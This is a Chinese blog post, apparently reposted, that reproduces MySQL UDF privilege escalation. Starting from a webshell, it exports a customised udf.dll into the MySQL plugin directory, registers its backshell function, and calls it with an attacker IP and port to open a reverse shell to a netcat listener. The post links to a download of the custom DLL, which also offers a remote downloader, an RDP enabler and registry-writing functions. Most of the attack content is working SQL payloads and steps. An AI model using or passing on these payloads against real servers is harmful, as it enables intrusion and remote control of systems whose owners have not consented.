AI智能
改变未来

mysql udf反弹端口提权


mysql udf反弹端口提权

  • 本篇文章只是记录一下 udf.dll提权的另一种方法,不涉及udf.dll提权原理的详细讲解。
  • 详细的原理讲解请移步博主的这篇文章:https://www.cnblogs.com/02SWD/p/15858250.html
  • 本篇文章所使用的 udf.dll(该udf.dll只适用于32位的mysql数据库):~~~链接:https://pan.baidu.com/s/1N9eHd1uiXWox22etDNTmlg提取码:z5jc~~~

1. 复现

  • 我们所使用的这个udf.dll是被定制过的,其中定义了以下函数。如下图:

  • 部分函数说明:

      cmdshell:执行cmd
    1. downloader:下载者,到网上下载指定文件并保存到指定目录
    2. open3389:通用开3389终端服务,可指定端口(不改端口无需重启)
    3. backshell:反弹shell(本次文章主角)
    4. ProcessView:枚举系统进程
    5. KillProcess:终止指定进程
    6. regread:读注册表
    7. regwrite:写注册表
    8. shut:关机、注销、重启
    9. about:说明与帮助函数
  • 1. 假设我们已经拿到了webshell,界面如下:

  • 2. 接下来我们上传一下定制的udf.dll

  • 3. 查看当前数据库的secure_file_priv参数

    payload~~~show variables like "secure_file_priv"~~~

  • 可以看到,该数据库的secure_file_priv参数没有设置任何值,说明可以导出
  • 4. 我们将定制的udf.dll文件导出

      看一下数据库的版本,查询一下导出的目录

      payload~~~sqlselect version()show variables like "%plugin%"~~~

    • 可以看到我们应该将 udf.dll 导出到 C:\\phpStudy\\MySQL\\lib\\plugin\\ 目录下
  • 导出udf.dll~~~sqlselect load_file(\’C:/phpStudy/WWW/udf.dll\’) into dumpfile \’C:/phpStudy/MySQL/lib/plugin/udf.dll\’~~~

      可以看到已经导出成功了
  • 5. 创建函数

      payload~~~sqlCREATE FUNCTION backshell RETURNS STRING SONAME \’udf.dll\’;select name from mysql.func — 查看一下是否创建成功~~~
    • 在这里我们创建的是 udf.dll 中的backshell函数
    • 可以看到 backshell 函数成功的被创建
  • 6. 调用函数,反弹shell

      先nc监听一下

    • 看一下攻击者的ip

    • 调用函数~~~sqlselect backshell("192.168.1.103",50666);~~~

    • 可以看到,反弹成功

    参考文章:https://blog.csdn.net/qq_45290991/article/details/117536250

  • 赞(0) 打赏
    未经允许不得转载:爱站程序员基地 » mysql udf反弹端口提权